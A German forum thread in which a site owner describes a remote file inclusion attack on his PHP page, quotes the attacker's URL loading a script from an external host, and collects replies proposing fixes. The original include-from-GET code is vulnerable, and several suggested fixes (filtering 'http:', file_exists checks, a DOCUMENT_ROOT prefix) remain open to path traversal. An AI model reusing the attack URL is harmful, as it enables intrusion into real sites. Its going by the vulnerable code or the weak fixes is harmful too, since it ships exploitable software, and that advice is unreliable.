Supportnet / Forum / Skripte(PHP,ASP,Perl...)
HACKER durch include-Befehl!! - Abhilfe?
Frage
Guten Tag!
Einerseits hab ich eine Warnung, verbunden mit einer Frage:
Einige meiner Webseiten arbeiten auf folgender Basis:
Es gibt eine sog. "rubrik.php", über die sämtliche Links aufgerufen werden.
Also z.B.
[code]<a href="rubrik.php?se=beispiel">beispiel</a>[/code]
Das Ergebnis ist dann, daß er in der rubrik.php die beispiel.php "includet".
Die rubrik.php sieht so aus:
[code]
<html>
<?include "meta.php"; ?>
<body>
<?include "head.php"; ?>
<div align="center">
<center>
<table border="0">
<tr>
<p align="center">
<?include "m.php"; ?>
<?php include ($HTTP_GET_VARS'se'].".php"); ?>
</tr>
</table>
</div>
</center>
</body>
</html>
[/code]
Ich denke, daß ist eine Methode, mit der viele Arbeiten, schließlich ist so gewährleistet, daß auf sämtlichen Unterseiten dasselbe Design vorherrscht (meta.php, m.php (=Menü), head.php).
Nun ist es aber so, daß jemand diese rubrik.php zum HACKEN missbraucht hat - und beinahe hätte derjenige damit Erfolg gehabt:
Er hat über die rubrik.php eine EXTERNE Datei aufgerufen, auf der sein Hackerscript liegt.
Der Link sah dann in etwa so aus:
[code]
http://meinedomain.de/rubrik.php?se=http://infernalis.republika.pl/code&com=/lib/ld-linux.so.2%20/tmp/..usw.
[/code]
Dazu wäre zu sagen, daß auf meinem Server die aktuellste PHP-Version läuft (letztes update vor ca. 2 Wochen).
Meiner Meinung nach sollte beim nächsten PHP-upgrade der include-Befehl geteilt werden:
Einer für lokale includes (den die meisten brauchen), einer für externe.
Da ich aber natürlich JETZT eine Lösung brauche, hier nun meine Frage:
Wie stell ich es an bzw. wie muss ich die rubrik.php umschreiben, daß nur mehr lokale Datein includet werden dürfen, daß er mir also einen Link/Befehl wie den obigen mit "http://..." ablehnt bzw. nicht ausführt?
Danke,
Jefferson
Antwort 1 von Lim o.c.
Vielleicht hilft dir ja das hier weiter.
http://www.chscene.ch/ccc/ds/78/007.htm
Greets
http://www.chscene.ch/ccc/ds/78/007.htm
Greets
Antwort 2 von Nessus
Hi,
checke doch einfach die Umgebungsvariablen des Servers. Wenn die IP/Domainname stimmt, dann kann der Include durchgeführt werden, wenn nicht, ab ins Nirvana. Ist evtl. nicht 100% sicher, aber besser als gar nichts.
HTH
Nessus
checke doch einfach die Umgebungsvariablen des Servers. Wenn die IP/Domainname stimmt, dann kann der Include durchgeführt werden, wenn nicht, ab ins Nirvana. Ist evtl. nicht 100% sicher, aber besser als gar nichts.
HTH
Nessus
Antwort 3 von Feuervogel
oder du schreibst in den link statt des sectionnamens indices durch die dann die jeweiligen sections aufgerufen werden
hoffe mein code ist halbwegs verständlich, viel erfolg damit!
<?php
$index = $HTTP_GET_VARS'se';
$array = array("rubrik1","foo","bar");
?>
<html>
<?include "meta.php"; ?>
<body>
<?include "head.php"; ?>
<div align="center">
<center>
<table border="0">
<tr>
<p align="center">
<?include "m.php"; ?>
<?php include ($array[$index].".php"); ?>
</tr>
</table>
</div>
</center>
</body>
</html>
hoffe mein code ist halbwegs verständlich, viel erfolg damit!
Antwort 4 von SchmChris@Work
Filtere doch einfach bei der Variable "se" die Zeichenkette "http:" heraus. So kann niemand mehr externe Seiten aufrufen :-)
Antwort 5 von semi
Setze in php.ini
allow_url_fopen=Off
Damit verhinderst Du, dass Adressen mit Protokollangabe wie http://oder ftp:// als Dateien behandelt werden.
Gruß,
Michael
allow_url_fopen=Off
Damit verhinderst Du, dass Adressen mit Protokollangabe wie http://oder ftp:// als Dateien behandelt werden.
Gruß,
Michael
Antwort 6 von ThomasOOP
@ Jefferson
wenn du sowas codest lädst du jeden "hacker" geradezu ein bei dir böses anzustellen
niemals den dateinamen der über include eingebunden werden soll über get oder post weitergeben
entweder du checkst dann die url von der die php seite aufgerufen ist ( weiss nicht mehr den befehl, es gibt ihn aber und wenn man 100% sicherheit haben will sollte man den auf jeder seite benutzen so sind angriffe von aussen ausgeschlossen )
oder aber du übergibst n index wie Feuervogel es schon sehr gut gezeigt hat
es gäbe da zum thema sicherheit einiges zu sagen
würde aber den rahmen sprengen
zu empfehlen sind immer bücher die sich intensiv mit dem thema beschäftigen
wenn du sowas codest lädst du jeden "hacker" geradezu ein bei dir böses anzustellen
niemals den dateinamen der über include eingebunden werden soll über get oder post weitergeben
entweder du checkst dann die url von der die php seite aufgerufen ist ( weiss nicht mehr den befehl, es gibt ihn aber und wenn man 100% sicherheit haben will sollte man den auf jeder seite benutzen so sind angriffe von aussen ausgeschlossen )
oder aber du übergibst n index wie Feuervogel es schon sehr gut gezeigt hat
es gäbe da zum thema sicherheit einiges zu sagen
würde aber den rahmen sprengen
zu empfehlen sind immer bücher die sich intensiv mit dem thema beschäftigen
Antwort 7 von michael5
schau doch mal in das buch von rasmus lerdorf (o'reilly-verlag) - "progammieren mit php".
auf seite 313 u. 314 wird da etwas über entfernte dateien und die unterbindung beschrieben.
realpath(), baseneme()
ciao michael
auf seite 313 u. 314 wird da etwas über entfernte dateien und die unterbindung beschrieben.
realpath(), baseneme()
ciao michael
Antwort 8 von SJ
Hab mir das mal so durchgelesen und dazu folgende Idee gehabt:
wenn man schon den direkten Dateinamen in einer Variablen ($dateiname) dem Script mit übergibt und diese dann per include einbinden will, so kann man den oben genannten Hack doch einfach ausschliesen indem man vorher noch prüft ob's die Datei wirklich gibt mittels:
if (!isset($dateiname)) { $dateiname = "standartdatei.php"; }
else {
if ((Trim($dateiname) == "") || (!file_exists($dateiname))) { $dateiname = "standartdatei.php"; }
}
include($dateiname);
Mich würde interessieren was ihr davon haltet. Ist das einigermaßen sicher?
Grüße,
SJ
wenn man schon den direkten Dateinamen in einer Variablen ($dateiname) dem Script mit übergibt und diese dann per include einbinden will, so kann man den oben genannten Hack doch einfach ausschliesen indem man vorher noch prüft ob's die Datei wirklich gibt mittels:
if (!isset($dateiname)) { $dateiname = "standartdatei.php"; }
else {
if ((Trim($dateiname) == "") || (!file_exists($dateiname))) { $dateiname = "standartdatei.php"; }
}
include($dateiname);
Mich würde interessieren was ihr davon haltet. Ist das einigermaßen sicher?
Grüße,
SJ
Antwort 9 von Jürgen Schaaf
Versuch doch mal
include($DOCUMENT_ROOT . $HTTP_GET_VARS['se'] . ".php");
wobei Du in Deinem Link den Pfad voll vorgeben mußt. Z.B.
<a href="rubrik.php?se=/ordner1/ordner2/beispiel">beispiel</a>
Wenn da ein Hacker bastelt, kommt für ihn keine gültige URL zustande.
include($DOCUMENT_ROOT . $HTTP_GET_VARS['se'] . ".php");
wobei Du in Deinem Link den Pfad voll vorgeben mußt. Z.B.
<a href="rubrik.php?se=/ordner1/ordner2/beispiel">beispiel</a>
Wenn da ein Hacker bastelt, kommt für ihn keine gültige URL zustande.

